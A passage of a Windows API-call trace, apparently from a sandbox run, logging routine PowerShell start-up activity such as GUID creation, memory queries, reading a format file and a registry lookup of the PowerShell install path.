returned 0x30 [0054.796] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xec1387a0, Data2=0xad52, Data3=0x4f7e, Data4=([0]=0xb3, [1]=0xd9, [2]=0xbf, [3]=0x83, [4]=0x15, [5]=0x7c, [6]=0x8e, [7]=0x4f))) returned 0x0 [0054.797] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x2045af3b, Data2=0x8cc5, Data3=0x4af7, Data4=([0]=0xaf, [1]=0x38, [2]=0x0, [3]=0xde, [4]=0xa, [5]=0xf3, [6]=0x9c, [7]=0x9a))) returned 0x0 [0054.797] VirtualQuery (in: lpAddress=0x22c1e0, lpBuffer=0x22d0a0, dwLength=0x30 | out: lpBuffer=0x22d0a0*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.797] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.797] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.798] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x757d3cff, Data2=0x1604, Data3=0x4085, Data4=([0]=0x97, [1]=0x18, [2]=0x76, [3]=0x5a, [4]=0x15, [5]=0x4, [6]=0x61, [7]=0x54))) returned 0x0 [0054.798] VirtualQuery (in: lpAddress=0x22c1e0, lpBuffer=0x22d0a0, dwLength=0x30 | out: lpBuffer=0x22d0a0*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.798] VirtualQuery (in: lpAddress=0x22c000, lpBuffer=0x22cec0, dwLength=0x30 | out: lpBuffer=0x22cec0*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.798] VirtualQuery (in: lpAddress=0x22b850, lpBuffer=0x22c710, dwLength=0x30 | out: lpBuffer=0x22c710*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.798] VirtualQuery (in: lpAddress=0x22b850, lpBuffer=0x22c710, dwLength=0x30 | out: lpBuffer=0x22c710*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.799] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xcdddd2f1, Data2=0x5c29, Data3=0x443d, Data4=([0]=0x85, [1]=0x71, [2]=0x4e, [3]=0xf8, [4]=0x7, [5]=0x3e, [6]=0x84, [7]=0x42))) returned 0x0 [0054.799] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xbba3c3f, Data2=0x4f9a, Data3=0x46cf, Data4=([0]=0x80, [1]=0x35, [2]=0xbb, [3]=0xe7, [4]=0x28, [5]=0x9e, [6]=0xf5, [7]=0x95))) returned 0x0 [0054.799] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.799] SetErrorMode (uMode=0x1) returned 0x1 [0054.799] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x30c [0054.799] GetFileType (hFile=0x30c) returned 0x1 [0054.799] SetErrorMode (uMode=0x1) returned 0x1 [0054.799] GetFileType (hFile=0x30c) returned 0x1 [0054.800] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.800] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.801] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.801] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.802] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.802] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.802] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.802] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.803] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.803] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.804] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.804] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.804] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.804] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.804] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.804] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.806] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.806] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0xbce, lpOverlapped=0x0) returned 1 [0054.806] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5196, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5196*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.806] ReadFile (in: hFile=0x30c, lpBuffer=0x33c5a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5a60*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.807] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.807] SetErrorMode (uMode=0x1) returned 0x1 [0054.807] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d260 | out: lpFileInformation=0x22d260*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0054.807] SetErrorMode (uMode=0x1) returned 0x1 [0054.807] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.807] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d348 | out: phkResult=0x22d348*=0x30c) returned 0x0 [0054.807] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d2cc, lpData=0x0, lpcbData=0x22d2c8*=0x0 | out: lpType=0x22d2cc*=0x1, lpData=0x0, lpcbData=0x22d2c8*=0x56) returned 0x0 [0054.807] CoTaskMemAlloc (cb=0x5a) returned 0x1b785e10 [0054.807] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d29c, lpData=0x1b785e10, lpcbData=0x22d298*=0x56 | out: lpType=0x22d29c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22d298*=0x56) returned 0x0 [0054.807] CoTaskMemFree (pv=0x1b785e10) [0054.807] RegCloseKey (hKey=0x30c) returned 0x0 [0054.807] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.808] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22ce40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.811] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x5539684a, Data2=0x143f, Data3=0x4759, Data4=([0]=0xae, [1]=0xde, [2]=0x51, [3]=0xdb, [4]=0x66, [5]=0x0, [6]=0x1a, [7]=0xb3))) returned 0x0 [0054.811] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x9e88b337, Data2=0x64c8, Data3=0x4bf6, Data4=([0]=0xb8, [1]=0x83, [2]=0xbc, [3]=0x9d, [4]=0xf1, [5]=0x8c, [6]=0x3, [7]=0x16))) returned 0x0 [0054.811] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x131835ca, Data2=0xae8f, Data3=0x40c0, Data4=([0]=0x80, [1]=0xae, [2]=0x3c, [3]=0x59, [4]=0x41, [5]=0x21, [6]=0x78, [7]=0x1f))) returned 0x0 [0054.811] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x5e551703, Data2=0x8ccb, Data3=0x4f59, Data4=([0]=0xb5, [1]=0xb8, [2]=0xe2, [3]=0xae, [4]=0xd0, [5]=0x3, [6]=0xb, [7]=0x15))) returned 0x0 [0054.811] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xe8c80ad1, Data2=0x57c6, Data3=0x49b8, Data4=([0]=0xbe, [1]=0xad, [2]=0xba, [3]=0xff, [4]=0x1c, [5]=0x99, [6]=0x60, [7]=0xe2))) returned 0x0 [0054.811] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x9e6f7b49, Data2=0x1ca6, Data3=0x44eb, Data4=([0]=0xa3, [1]=0x12, [2]=0xa2, [3]=0xb8, [4]=0x53, [5]=0xdb, [6]=0xd7, [7]=0x30))) returned 0x0 [0054.812] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.812] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xfb859c0c, Data2=0x3c82, Data3=0x40e7, Data4=([0]=0xba, [1]=0x87, [2]=0xe0, [3]=0x12, [4]=0x92, [5]=0xce, [6]=0xfa, [7]=0x61))) returned 0x0 [0054.812] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.812] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.813] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x614b32ef, Data2=0x2b2a, Data3=0x40b3, Data4=([0]=0x9b, [1]=0xfe, [2]=0x6c, [3]=0x96, [4]=0xa5, [5]=0xea, [6]=0x3b, [7]=0x92))) returned 0x0 [0054.813] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x20624667, Data2=0x5aa8, Data3=0x4b2c, Data4=([0]=0xb6, [1]=0x50, [2]=0xa9, [3]=0x2e, [4]=0xff, [5]=0xc0, [6]=0xc2, [7]=0x38))) returned 0x0 [0054.813] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xaeeff66b, Data2=0x61ef, Data3=0x4fa6, Data4=([0]=0x8a, [1]=0xc, [2]=0x38, [3]=0x15, [4]=0xe2, [5]=0xde, [6]=0x1e, [7]=0xb3))) returned 0x0 [0054.813] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x360d09d7, Data2=0xeff, Data3=0x47e8, Data4=([0]=0xac, [1]=0xde, [2]=0x58, [3]=0x48, [4]=0x31, [5]=0x38, [6]=0xad, [7]=0x3a))) returned 0x0 [0054.813] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.813] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x445eb972, Data2=0x9c03, Data3=0x47aa, Data4=([0]=0xaf, [1]=0x62, [2]=0x1, [3]=0x88, [4]=0xbc, [5]=0xd, [6]=0x7a, [7]=0xf7))) returned 0x0 [0054.814] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.814] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.814] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.814] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.814] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.815] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xd23d5c35, Data2=0xac86, Data3=0x4777, Data4=([0]=0x88, [1]=0x94, [2]=0x61, [3]=0x55, [4]=0xcd, [5]=0x35, [6]=0xe6, [7]=0xce))) returned 0x0 [0054.815] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xe405ee3d, Data2=0x1be9, Data3=0x4ec6, Data4=([0]=0x92, [1]=0x56, [2]=0xb5, [3]=0x50, [4]=0x55, [5]=0xc2, [6]=0x6b, [7]=0xe2))) returned 0x0 [0054.815] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x3faa256e, Data2=0x6756, Data3=0x4df6, Data4=([0]=0x83, [1]=0xbf, [2]=0x80, [3]=0x6e, [4]=0x51, [5]=0x1c, [6]=0x15, [7]=0xb0))) returned 0x0 [0054.815] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x6b9454c4, Data2=0xc602, Data3=0x4915, Data4=([0]=0xa9, [1]=0x99, [2]=0x4b, [3]=0x7d, [4]=0x9a, [5]=0x37, [6]=0x74, [7]=0x49))) returned 0x0 [0054.815] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xf1e9bb3a, Data2=0x1308, Data3=0x44ad, Data4=([0]=0xbc, [1]=0xd2, [2]=0x32, [3]=0x9d, [4]=0x67, [5]=0xe2, [6]=0x3b, [7]=0x20))) returned 0x0 [0054.816] VirtualQuery (in: lpAddress=0x22c1e0, lpBuffer=0x22d0a0, dwLength=0x30 | out: lpBuffer=0x22d0a0*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.816] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xdb279e74, Data2=0xa416, Data3=0x4336, Data4=([0]=0x98, [1]=0x68, [2]=0x9, [3]=0xa8, [4]=0xd0, [5]=0x5a, [6]=0x82, [7]=0x69))) returned 0x0 [0054.816] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x8239c71a, Data2=0x67, Data3=0x49c9, Data4=([0]=0xb8, [1]=0x49, [2]=0x30, [3]=0xe1, [4]=0xa0, [5]=0x2d, [6]=0xd5, [7]=0xb7))) returned 0x0 [0054.816] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xcf922cb7, Data2=0x1bdb, Data3=0x49e4, Data4=([0]=0xac, [1]=0xdf, [2]=0x37, [3]=0x44, [4]=0x47, [5]=0x26, [6]=0x85, [7]=0x46))) returned 0x0 [0054.816] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xb9afbbc3, Data2=0xb010, Data3=0x4a26, Data4=([0]=0x82, [1]=0xaa, [2]=0xe, [3]=0xb7, [4]=0x8a, [5]=0x46, [6]=0xee, [7]=0x99))) returned 0x0 [0054.817] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x5c6bc5f3, Data2=0x53c3, Data3=0x4fa3, Data4=([0]=0xb3, [1]=0xc4, [2]=0xb4, [3]=0xb1, [4]=0x19, [5]=0xd9, [6]=0xaf, [7]=0x11))) returned 0x0 [0054.817] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xc642cb42, Data2=0xce17, Data3=0x4683, Data4=([0]=0x9a, [1]=0xa4, [2]=0xaa, [3]=0x8f, [4]=0x48, [5]=0x27, [6]=0xdc, [7]=0x57))) returned 0x0 [0054.817] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xb5f7e586, Data2=0xd552, Data3=0x4970, Data4=([0]=0x9b, [1]=0xea, [2]=0xf8, [3]=0x6c, [4]=0x51, [5]=0x5f, [6]=0x46, [7]=0x21))) returned 0x0 [0054.817] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x868eec3d, Data2=0x8ab0, Data3=0x48b2, Data4=([0]=0xa4, [1]=0x74, [2]=0xfa, [3]=0x5f, [4]=0xf3, [5]=0xdb, [6]=0x14, [7]=0x7e))) returned 0x0 [0054.817] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x48beee1f, Data2=0xbdc2, Data3=0x4536, Data4=([0]=0xbd, [1]=0x20, [2]=0x58, [3]=0x23, [4]=0x11, [5]=0x77, [6]=0x43, [7]=0xc1))) returned 0x0 [0054.817] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x14b3dec9, Data2=0xaaad, Data3=0x4403, Data4=([0]=0xbc, [1]=0xa2, [2]=0xdb, [3]=0xe3, [4]=0x50, [5]=0x1b, [6]=0x45, [7]=0xff))) returned 0x0 [0054.818] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x2521c394, Data2=0x711b, Data3=0x41f5, Data4=([0]=0x96, [1]=0xf8, [2]=0x6b, [3]=0x9e, [4]=0xe2, [5]=0xe8, [6]=0xe, [7]=0xd0))) returned 0x0 [0054.818] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x13d1297f, Data2=0x4df5, Data3=0x4e22, Data4=([0]=0xaf, [1]=0x49, [2]=0xd, [3]=0xc6, [4]=0x4a, [5]=0x39, [6]=0xb0, [7]=0xdc))) returned 0x0 [0054.818] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xa1566053, Data2=0x99c8, Data3=0x41f8, Data4=([0]=0xbc, [1]=0xec, [2]=0x36, [3]=0x9b, [4]=0xea, [5]=0x0, [6]=0x4c, [7]=0x2f))) returned 0x0 [0054.818] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x212af2a9, Data2=0x1be4, Data3=0x4d23, Data4=([0]=0xa2, [1]=0xc7, [2]=0xe1, [3]=0x6d, [4]=0x78, [5]=0xd5, [6]=0x70, [7]=0xa))) returned 0x0 [0054.819] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x4c390156, Data2=0x9004, Data3=0x4a2c, Data4=([0]=0x91, [1]=0x34, [2]=0x2b, [3]=0xe3, [4]=0x26, [5]=0x3d, [6]=0xd6, [7]=0x82))) returned 0x0 [0054.819] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x5e9b3714, Data2=0x63da, Data3=0x447f, Data4=([0]=0xac, [1]=0x88, [2]=0x14, [3]=0xa3, [4]=0x68, [5]=0xfc, [6]=0x10, [7]=0xad))) returned 0x0 [0054.819] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x40bedbe6, Data2=0x1235, Data3=0x4a8d, Data4=([0]=0xa3, [1]=0xf5, [2]=0x44, [3]=0xf, [4]=0xa7, [5]=0x26, [6]=0x40, [7]=0x2b))) returned 0x0 [0054.819] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xa9ed5dc5, Data2=0x2f87, Data3=0x4358, Data4=([0]=0xa1, [1]=0xba, [2]=0x44, [3]=0xef, [4]=0xe1, [5]=0xaf, [6]=0xb4, [7]=0x3b))) returned 0x0 [0054.819] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x1f49b95a, Data2=0xf9e5, Data3=0x4917, Data4=([0]=0xb8, [1]=0x52, [2]=0x14, [3]=0x75, [4]=0x65, [5]=0xe0, [6]=0x2c, [7]=0x61))) returned 0x0 [0054.819] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.820] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.821] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.822] 